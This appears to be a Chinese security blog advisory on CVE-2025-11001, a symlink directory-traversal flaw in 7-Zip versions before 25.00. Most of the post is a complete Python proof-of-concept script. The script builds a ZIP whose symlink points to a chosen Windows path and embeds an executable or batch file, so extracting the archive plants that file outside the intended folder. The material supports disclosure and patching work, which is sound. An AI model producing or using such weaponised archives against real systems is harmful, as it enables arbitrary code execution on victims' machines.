
0x00 前言
7-Zip(7z解压软件)是一款完全免费的压缩解压缩软件,同其他压缩软件相比它的压缩速度更快压缩率更好,不仅支持众多主流格式、支持超线程,而且还有强大的AES-256加密算法可以为文件进行加密,增强文件的安全性。
它支持多种压缩格式,包括但不限于 7z、ZIP、GZIP、BZip2 和 TAR,此外,7-Zip 还能处理其他常见格式如 RAR、ISO、CAB 等。
0x01 漏洞描述
漏洞源于ZIP文件中符号链接(symlink)的处理方式。攻击者可通过构造恶意ZIP文件,利用该目录遍历漏洞,导致程序访问未经授权的目录并执行恶意代码。 同时,7-Zip压缩工具还存在另一个类似漏洞(CVE-2025-11002),两个漏洞均允许远程攻击者在受影响的系统上执行任意代码。 通过特制的ZIP文件,攻击者能够利用符号链接处理缺陷,促使程序访问本不应访问的目录,进而执行恶意代码。 来源于网络
0x02 CVE编号
CVE-2025-11001
0x03 影响版本
7-Zip < 25.00
0x04 漏洞详情
POC:
https://github.com/pacbypass/CVE-2025-11001
import argparse
import os
import time
import zipfile
def add_dir(z, arcname):
if not arcname.endswith('/'):
arcname += '/'
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o040755 << 16) | 0x10
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, b'')
def add_symlink(z, arcname, target):
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o120777 << 16)
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, target.encode('utf-8'))
def add_file_from_disk(z, arcname, src_path):
with open(src_path, 'rb') as f:
payload = f.read()
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o100644 << 16)
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, payload)
def main():
parser = argparse.ArgumentParser(
description="Crafts a zip that exploits CVE-2025-11001."
)
parser.add_argument(
"--zip-out", "-o",
required=True,
help="Path to the output ZIP file."
)
parser.add_argument(
"--symlink-target", "-t",
required=True,
help="Destination path the symlink points to - specify a \"C:\" path"
)
parser.add_argument(
"--data-file", "-f",
required=True,
help="Path to the local file to embed e.g an executable or bat script."
)
parser.add_argument(
"--dir-name",
default="data",
help="Top-level directory name inside the ZIP (default: data)."
)
parser.add_argument(
"--link-name",
default="link_in",
help="Symlink entry name under the top directory (default: link_in)."
)
args = parser.parse_args()
top_dir = args.dir_name.rstrip("/")
link_entry = f"{top_dir}/{args.link_name}"
embedded_name = os.path.basename(args.data_file)
file_entry = f"{link_entry}/{embedded_name}"
with zipfile.ZipFile(args.zip_out, "w") as z:
add_dir(z, top_dir)
add_symlink(z, link_entry, args.symlink_target)
add_file_from_disk(z, file_entry, args.data_file)
print(f"Wrote {args.zip_out}")
if __name__ == "__main__":
main()
(来源于网络)
0x05 参考链接
https://www.zerodayinitiative.com/advisories/ZDI-25-949/
推荐阅读:
CVE-2025-57833|Django SQL 注入漏洞(POC)
CVE-2023-24205|Clash for Windows远程代码执行漏洞(POC)
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持
!!!
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。